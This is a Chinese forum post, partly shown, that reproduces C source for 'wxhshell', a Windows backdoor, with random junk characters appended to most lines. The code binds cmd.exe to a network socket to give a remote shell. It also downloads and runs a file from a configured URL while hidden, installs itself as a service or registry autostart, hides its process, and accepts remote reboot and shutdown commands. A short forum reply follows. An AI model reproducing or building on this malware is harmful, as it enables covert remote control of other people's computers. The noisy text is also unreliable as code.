  if(DownloadFile(cmd,wsh)) f=$w,^)M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'Oz-p.@  
  else M|HW$8V3_2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =IbDGw(  
  } `>.^/SGu>?  
  else { U^AywE]  
~Bw)rf,  
    switch(cmd[0]) { xK7xAO  
  4FWL\;6  
  // 帮助 H NFG:t9  
  case '?': { 6bv~E.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); % s|` 1`c  
    break; .?<M$38fv  
  } olHT* mr  
  // 安装 2hD(zUSy  
  case 'i': { c/K:`XP~  
    if(Install()) Mp%.o}j   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p }p@])}8  
    else :>y?B!=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?W6qwm,?L  
    break; nTG@=C#  
    } 2 %`~DVo  
  // 卸载 @y"/hh_?  
  case 'r': { F_<n8U:Y  
    if(Uninstall()) df85g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mNc?`G_R  
    else E.ugr])  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -^R6U~  
    break; C'Gj\  
    } [UP-BX(  
  // 显示 wxhshell 所在路径 g?TPRr~$9  
  case 'p': {  BVJ6U[h`  
    char svExeFile[MAX_PATH]; 5mtsN#  
    strcpy(svExeFile,"\n\r"); D7X8yv1  
      strcat(svExeFile,ExeFile); &3@ {?K  
        send(wsh,svExeFile,strlen(svExeFile),0); IdHyd Y1  
    break; %a'Nf/9=:  
    } <`PW4zSI  
  // 重启 a/@F?\A  
  case 'b': { !Dc|g~km\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V:YN!  
    if(Boot(REBOOT)) bi@z<Xm%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!'!V>#g  
    else { +n'-%?LD&  
    closesocket(wsh); FZk=-.Hk  
    ExitThread(0); %ZKP d8  
    } '<$!?="  
    break; [Yi;k,F:  
    } IasWm/  
  // 关机 Rhfx  
  case 'd': { d ynq)lf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5{PT  
    if(Boot(SHUTDOWN)) /i[1$/*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 88]4 GVi  
    else { NZ|(#` X  
    closesocket(wsh); bXiOf#:''  
    ExitThread(0); cs-wqxTX[$  
    } ?W27 h  
    break; /s/\5-U7q  
    } |H .  
  // 获取shell kWSei3  
  case 's': { qk+RZ>T<o  
    CmdShell(wsh); ep,"@,,  
    closesocket(wsh); C>MEgGP  
    ExitThread(0); p%ve1>c  
    break; $ ;J:kd;<  
  } '5f6 M^}|2  
  // 退出 7o99@K,  
  case 'x': { N=vb*3ECg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _nn\O3TB  
    CloseIt(wsh); 0 %W0vTvL  
    break; 'joc8o sS  
    } @5=2+ M  
  // 离开 ZUA%ZkX=F  
  case 'q': { WDF;`o*3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;ndwVZ~,  
    closesocket(wsh); 2F z;TNS  
    WSACleanup(); #Wf9`  
    exit(1); j%q,]HCANh  
    break; u)hr  
        } ii)DOq#2  
  } [( O*W  
  } .Fl5b}C(  
((AsZ$[S  
  // 提示信息 _rN1(=J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F7"v}K]X  
} 9kO}054  
  } vl"{ovoC  
([#4H3uO-  
  return; ]lgI Q;r  
} `Lr I^9Z  
_!K@( dl  
// shell模块句柄 Qt~QJJN?oF  
int CmdShell(SOCKET sock) tK0Ksnl^  
{ e.>>al  
STARTUPINFO si; Py! F  
ZeroMemory(&si,sizeof(si)); G@(ukt`0}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !l7D1i~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -*nd5(lY&  
PROCESS_INFORMATION ProcessInfo; HX`>" ?{  
char cmdline[]="cmd"; z0F'zN 3J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;,2;J3,pA  
  return 0; D8O&`!mf  
} |bM?Q$>~  
Cvgk67C=$  
// 自身启动模式 y88lkV4a  
int StartFromService(void) 9x]yu6  
{ a*N<gId  
typedef struct {0IC2jE  
{ xE"QX N  
  DWORD ExitStatus; FWb`F&  
  DWORD PebBaseAddress; P. >5`^  
  DWORD AffinityMask; M>xjs?{%k  
  DWORD BasePriority; < cUaIb;(4  
  ULONG UniqueProcessId; G?e\w+}Pj@  
  ULONG InheritedFromUniqueProcessId; qy^sdqHl@  
}   PROCESS_BASIC_INFORMATION; 92";?Xk  
fnJ!~b*qo  
PROCNTQSIP NtQueryInformationProcess; YsBOh{Ml  
"3H?_!A9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wc~k4B9"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ][[\!og  
9bb 5?b/  
  HANDLE             hProcess; L>X39R~  
  PROCESS_BASIC_INFORMATION pbi; VUbg{Rb)  
k0>]7t$L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8)m  
  if(NULL == hInst ) return 0; wF.S ,|  
*D:"I!Ho  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &`}8Jz=S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T/YvCbo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IPxK$nI^  
\*r]v;NcP  
  if (!NtQueryInformationProcess) return 0; Y5XhV;16  
nu!tk$Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G@+AB*Eu  
  if(!hProcess) return 0; Lk8NjK6  
YYi:d=0<SO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e< E]8GAF  
t$k$ Hd';  
  CloseHandle(hProcess); Ed ,O>(  
z'r B_l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +H `FC  
if(hProcess==NULL) return 0; =L F9im  
 +}-Ecr  
HMODULE hMod; ,2/y(JX}*!  
char procName[255]; _ rIFwT1]  
unsigned long cbNeeded; \|< 5zL  
3A)Ec/;~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]R7zvcu&  
t9Y?0O}/  
  CloseHandle(hProcess); Ip&Q'"HYj  
OO  /Pc  
if(strstr(procName,"services")) return 1; // 以服务启动 kA/V=xO<  
\66j4?H#  
  return 0; // 注册表启动 r_EuLFMA  
} \NTNB9>CO  
l99{eD  
// 主模块 p(`?y:.3  
int StartWxhshell(LPSTR lpCmdLine) fd&=\~1_$  
{ YjTA+1}  
  SOCKET wsl; xZ.c@u6:  
BOOL val=TRUE; QmRE<i  
  int port=0; +u[?8D7Y  
  struct sockaddr_in door; qFwJ%(IQ  
r[votdFo  
  if(wscfg.ws_autoins) Install(); 5:6]ZFW  
hrZ=8SrW  
port=atoi(lpCmdLine); k\wcj^"cb  
$Eh8s(  
if(port<=0) port=wscfg.ws_port; \UR/tlw+/  
|d0,54!  
  WSADATA data; cUPC8k.1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <RPy   
O%R*1 P9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~V?3A/]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #fTPo:*t  
  door.sin_family = AF_INET; Ej7>ywlW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  uZA^o  
  door.sin_port = htons(port); }+3IM1VTW{  
)?D w)s5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { & ~*qTojj  
closesocket(wsl); Btu=MUS  
return 1; d%C :%d  
} Ad'b{C%  
kIlK"=  
  if(listen(wsl,2) == INVALID_SOCKET) { ;+W9EbY2  
closesocket(wsl); gyx4='Q  
return 1; :4'Fq;%C  
} D/7hVwMw:  
  Wxhshell(wsl); JAA{5@ST  
  WSACleanup(); Ei& Z  
IP e"9xb  
return 0; wg0hm#X  
Dw-i!dq  
} kV$$GLD\  
Ohe* m[  
// 以NT服务方式启动 WG\gf\=I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V {H/>>k7  
{ PR i3=3oF  
DWORD   status = 0; H6Qb]H. C  
  DWORD   specificError = 0xfffffff; !/|^ )d^U  
`kERM-@A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xw5LPz;B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KWzJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z.v2 !u  
  serviceStatus.dwWin32ExitCode     = 0; Ag#o&Y  
  serviceStatus.dwServiceSpecificExitCode = 0; 7\e96+j|f  
  serviceStatus.dwCheckPoint       = 0; pS C5$a(  
  serviceStatus.dwWaitHint       = 0; ;{e=Iz}/  
<>9zXbI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); erQ0fW  
  if (hServiceStatusHandle==0) return; g3"eEg5NY  
w\PCBY=  
status = GetLastError(); O"Ua|8  
  if (status!=NO_ERROR) &GetRDr  
{ KE k]<b=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .gS x`|!  
    serviceStatus.dwCheckPoint       = 0; lAcXi$pF  
    serviceStatus.dwWaitHint       = 0; R:}u(N  
    serviceStatus.dwWin32ExitCode     = status; f}_d`?K  
    serviceStatus.dwServiceSpecificExitCode = specificError; +&:?*(?Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v!b 8_0~u6  
    return; :(o6^%x  
  } i9FtS7  
5PXo1"n8T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q[U_ 0O,A9  
  serviceStatus.dwCheckPoint       = 0; |loo ^!I  
  serviceStatus.dwWaitHint       = 0; Nr(3!-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _/iw=-T  
} >*"6zR2 o  
jj&4Sv#>  
// 处理NT服务事件,比如:启动、停止 FID4@--  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O{F)|<L(G  
{ zLa3Q\T  
switch(fdwControl) [Q+qu>&HB7  
{ Q'mLwD3>  
case SERVICE_CONTROL_STOP: y_Tc$g~  
  serviceStatus.dwWin32ExitCode = 0; S5$sB{\R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QaMB=wVr  
  serviceStatus.dwCheckPoint   = 0; :y!%GJW  
  serviceStatus.dwWaitHint     = 0; _P]!J~$5  
  { J"TM[4^\Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |8s)kQ4$  
  } 5cza0CriJ  
  return; nfV32D|3  
case SERVICE_CONTROL_PAUSE: 7?O~3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~il{6Z+#n  
  break; lv* fK  
case SERVICE_CONTROL_CONTINUE: V>2mz c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /#,3JU$w  
  break; <e :2DB&  
case SERVICE_CONTROL_INTERROGATE: %%w/;o!c  
  break; jW G=k#WN  
}; / W,K% s]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W"@FRWcd  
} BIr24N  
v\UwL-4[  
// 标准应用程序主函数 q~K KN /N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DG&[.dR+  
{ d5x>kO'[l  
3N ]  
// 获取操作系统版本 Ve1O<i  
OsIsNt=GetOsVer(); 3/w) mY-o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nnZ|oEF  
MwlhL?  
  // 从命令行安装 ]757oAXl  
  if(strpbrk(lpCmdLine,"iI")) Install(); nv9kl Q@  
+cw;a]o^>  
  // 下载执行文件 )/hb9+S  
if(wscfg.ws_downexe) {  ThLnp@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) < Y(lRM{  
  WinExec(wscfg.ws_filenam,SW_HIDE); V|h/a\P  
} t1I` n(]n  
+6xEz67A<  
if(!OsIsNt) { dUTF0U  
// 如果时win9x,隐藏进程并且设置为注册表启动 06&:X^  
HideProc(); cN{-&\ 6L  
StartWxhshell(lpCmdLine); Dw@0P  
} B>11  
else +P&;cCV`S3  
  if(StartFromService()) 'e3[m  
  // 以服务方式启动 _TRO2p0  
  StartServiceCtrlDispatcher(DispatchTable); c==` r C  
else 6L~tUe.G  
  // 普通方式启动 J)w58/`?t  
  StartWxhshell(lpCmdLine); l9J]<gG  
nj7wc9z4  
return 0; z'G~b[kG4n  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五